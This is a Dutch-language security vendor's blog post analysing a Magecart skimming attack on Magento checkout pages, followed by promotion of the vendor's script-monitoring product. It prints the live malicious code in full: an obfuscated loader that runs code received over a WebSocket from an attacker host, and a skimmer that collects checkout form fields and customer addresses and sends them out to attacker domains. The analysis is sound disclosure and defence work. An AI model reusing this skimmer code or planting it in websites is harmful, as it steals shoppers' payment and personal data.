Skip to main content
Blog
Blog Attacks

Nieuwe Magecart-aanvalscode onthuld

Op 14 oktober plaatsten we een artikel over een nieuwe Magento Magecart-aanval die gaande was. Destijds viel ons slechts één script op als de boosdoener. Vandaag konden we de aanval gedetailleerder vinden en analyseren. De aanval gedecodeerd Dit was de geïnjecteerde code: <script> const qbq = [93,89,89,16,5,5,77,89,94,75,94,70,73,4,69,88,77,5,64,67,92,69,21,89,69,95,88,73,79,23]; const zep = 42; window.sss = new WebSocket(String.fromCharCode(...qbq.map(hwo => hwo ^ zep)) + encodeURIComponent(location.h

Oct 23, 2024 Bijgewerkt Jul 20, 2026 4 min read
new-magecart-attack-image-cover
Inhoudsopgave

Kort samengevat: geobfusceerde skimmer-analyse

  • Willekeurig met opzet: Het geïnjecteerde script lijkt op een willekeurige array van 30 bytes en dat is precies het punt, want zowel hashchecks als menselijke review glijden voorbij code die pas tijdens runtime wordt samengesteld via XOR-arithmetiek en String.fromCharCode-reconstructie.
  • Automatisch gedeobfusceerd: De payload opent een WebSocket naar wss://gstatlc[.]org/jivo en activeert alleen op de onestepcheckout-route van Magento, en de engine van cside deobfusceert en pakt hem automatisch uit in plaats van te wachten tot een onderzoeker een analyse publiceert.
  • Check je tooling: Als je reviewproces afhangt van het met het blote oog doorlezen van broncode, blijven geobfusceerde skimmers maandenlang onzichtbaar, dus bepaal of je tooling payloads daadwerkelijk zelf deobfusceert of ze slechts doorstuurt.

Weinig tijd? Bekijk cside's in-browser Magecart- en skimmerblokkering. Dit dekt alles hieronder in één deployment.

Op 14 oktober plaatsten we een artikel over een nieuwe Magento Magecart-aanval die gaande was. Destijds viel ons slechts één script op als de boosdoener.

Vandaag konden we de aanval gedetailleerder vinden en analyseren.

De aanval gedecodeerd

Dit was de geïnjecteerde code:

<script>
const qbq = [93,89,89,16,5,5,77,89,94,75,94,70,73,4,69,88,77,5,64,67,92,69,21,89,69,95,88,73,79,23];
const zep = 42;
window.sss = new WebSocket(String.fromCharCode(...qbq.map(hwo => hwo ^ zep)) + encodeURIComponent(location.href));
window.sss.addEventListener('message', event => {new Function(event.data)()});
</script>

Na het decoderen van dit geobfusceerde script ontdekten we dat het een WebSocket-verbinding opzet naar de volgende URL: wss://gstatlc[.]org/jivo?source=.

We vermoedden vervolgens dat de aanval waarschijnlijk bedoeld was voor web skimming, oftewel het stelen van klantgegevens zoals creditcardinformatie.

Nu vonden we het volgende script:

! function() {
    function e(e) {
        let t = "";
        for (let n = 0; n < e.length; n += 2) {
            let o = e.slice(n, n + 2),
                c = parseInt(o, 16);
            t += String.fromCharCode(c)
        }
        return t
    }
    if (window.location.href.includes(e("6f6e6573746570636865636b6f7574"))) {
        const t = new WebSocket(e("7773733a2f2f61766765617273686f702e6164732d616e616c797369732e6e65743a3434332f7773")),
            n = "x-magento-65dsf";
        t.onmessage = function(t) {
            ! function(t) {
                if (!document.querySelector("#" + n)) {
                    const o = document.createElement("script");
                    o.id = n, o.text = e(t), document.head.appendChild(o)
                }
            }(t.data)
        }
    }
}();

Dit leidt tot geobfusceerde code, die ons platform cside automatisch deobfusceert. We vonden verschillende functies die bedoeld zijn om gegevens te onderscheppen.

// Function to decode the selectors
    function decodeSelectors() {
        let decoded = hexDecode(encodedSelectors);
        let selectorArray = decoded.split('|');
        return selectorArray;
    }
 // Function to check if specific elements are present on the page
    const checkElementsPresence = () => {
        let selectors = decodeSelectors();
        return selectors.every(selectorEntry => {
            let [selector, count] = selectorEntry.split(':');
            let elements = document.querySelectorAll(selector);
            return elements.length >= Number(count);
        });
    };
  // Function to generate a unique identifier
    const generateUUID = () => {
        return ([1e7] + -1e3 + -4e3 + -8e3 + -1e11).replace(/[018]/g, c =>
            (c ^ crypto.getRandomValues(new Uint8Array(1))[0] & 15 >> c / 4).toString(16)
        );
    };
// Function to encode data as hex
    function hexEncode(str) {
        return str.split('').map(char => char.charCodeAt(0).toString(16)).join('');
    }
 // Function to collect form data
    const collectFormData = (context) => {
        let data = {};
        let counts = {};
        let inputs = context.querySelectorAll('input, select, textarea');

        for (let i = 0; i < inputs.length; ++i) {
            let element = inputs[i];
            let name = element.name || element.id;
            let value = element.value;

            if (value !== '' && name) {
                if (!counts[name]) counts[name] = 0;

                if (element.tagName !== 'SELECT') {
                    counts[name] === 0
                        ? data[name] = value
                        : data[`${name}#${counts[name]}`] = value;
                } else {
                    let selectedOption = element.options[element.selectedIndex].text;
                    counts[name] === 0
                        ? data[name] = selectedOption
                        : data[`${name}#${counts[name]}`] = selectedOption;
                }

                counts[name]++;
            }
        }

        data['url'] = window.location.hostname;
        data['ua'] = window.navigator.userAgent;
        data['ts'] = Date.now();
 // Attempt to collect customer address data if available
        if (window.checkoutConfig && window.checkoutConfig.customerData && window.checkoutConfig.customerData.addresses) {
            try {
                let addresses = window.checkoutConfig.customerData.addresses;
                data['address_data'] = addresses[Object.keys(addresses)[0]];
            } catch (e) { /* Ignore errors */ }
        }

        return hexEncode(JSON.stringify(data));
    };
  // Interval to repeatedly check and send data
    let intervalId = setInterval(() => {
        if (checkElementsPresence()) {
            let formData = collectFormData(document.body);
            const uuid = generateUUID();
            const webSocketURL = hexDecode(encodedWebSocketURL) + '/' + uuid;
            const ws = new WebSocket(webSocketURL);

            ws.addEventListener('open', function () {
                ws.send(formData);
                ws.close(1000, 'done');
                clearInterval(intervalId);
            });
        }
    }, 1000);
})();

Daarin bevond zich nog een kwaadaardig domein: wss://adsprove[.]online/ws.

Al deze functies bewijzen nu dat het script inderdaad gericht is op het onderscheppen van diverse invoergegevens van nietsvermoedende bezoekers. Het bewijst ook dat het monitoren en blokkeren van deze pogingen aan de client-side essentieel is om deze aanvallen te signaleren en te stoppen.

Hoe u uw site kunt beschermen

cside is opgericht om deze aanvallen te stoppen. Elk gecompromitteerd script van derden dat op uw site aanwezig is, kunnen wij detecteren en blokkeren voordat het wordt uitgevoerd in de browser van uw bezoekers. Zo beschermen we hen én u tegen kwaadwillenden.

Door gebruik te maken van onze gratis versie bent u beschermd tegen deze en soortgelijke aanvallen.

Himanshu Anand
Software Engineer

I'm a software engineer and security analyst.

Monitor en beveilig je third-party scripts

Gain full visibility and control over every script delivered to your users to enhance site security and performance.

Start gratis, of probeer Business met een proefperiode van 14 dagen.

cside-dashboardinterface met scriptmonitoring en beveiligingsanalyses
Related Articles
Boek een demo

Wil je dit doornemen met een engineer?

Dertig minuten, op je eigen site. Geen slides.

Boek een persoonlijke demo om te zien:

Hoe je in 1 dag voldoet aan PCI DSS-vereisten 6.4.3 en 11.6.1
Waarom scripts van derden een beveiligingsrisico zijn voor jou en je bezoekers
Hoe je privacy- en toestemmingslekken (AVG, CCPA) bij elke derde partij monitort
Hoe je misbruik van aanmeldingen, account sharing en chargeback-fraude stopt met device intelligence
Hoe je AI-agents en bots die je site bereiken in realtime detecteert en beheerst

Liever gewoon een vraag stellen?

Vrije momenten zoeken…

Alleen echte mensen. Wij merken het.

Lukt het boeken niet? Agenda in een nieuw tabblad openen

Wat wil je oplossen?

Vertel het ons in één zin, dan komen we terug met iets bruikbaars in plaats van een standaardverhaal.

Waar we meestal mee helpen:

Zien welke scripts van derden op je site draaien
Bewijs voor PCI DSS 6.4.3 en 11.6.1
Bots, AI-agents en accountovername

Liever meteen een moment inplannen? Kies een tijdstip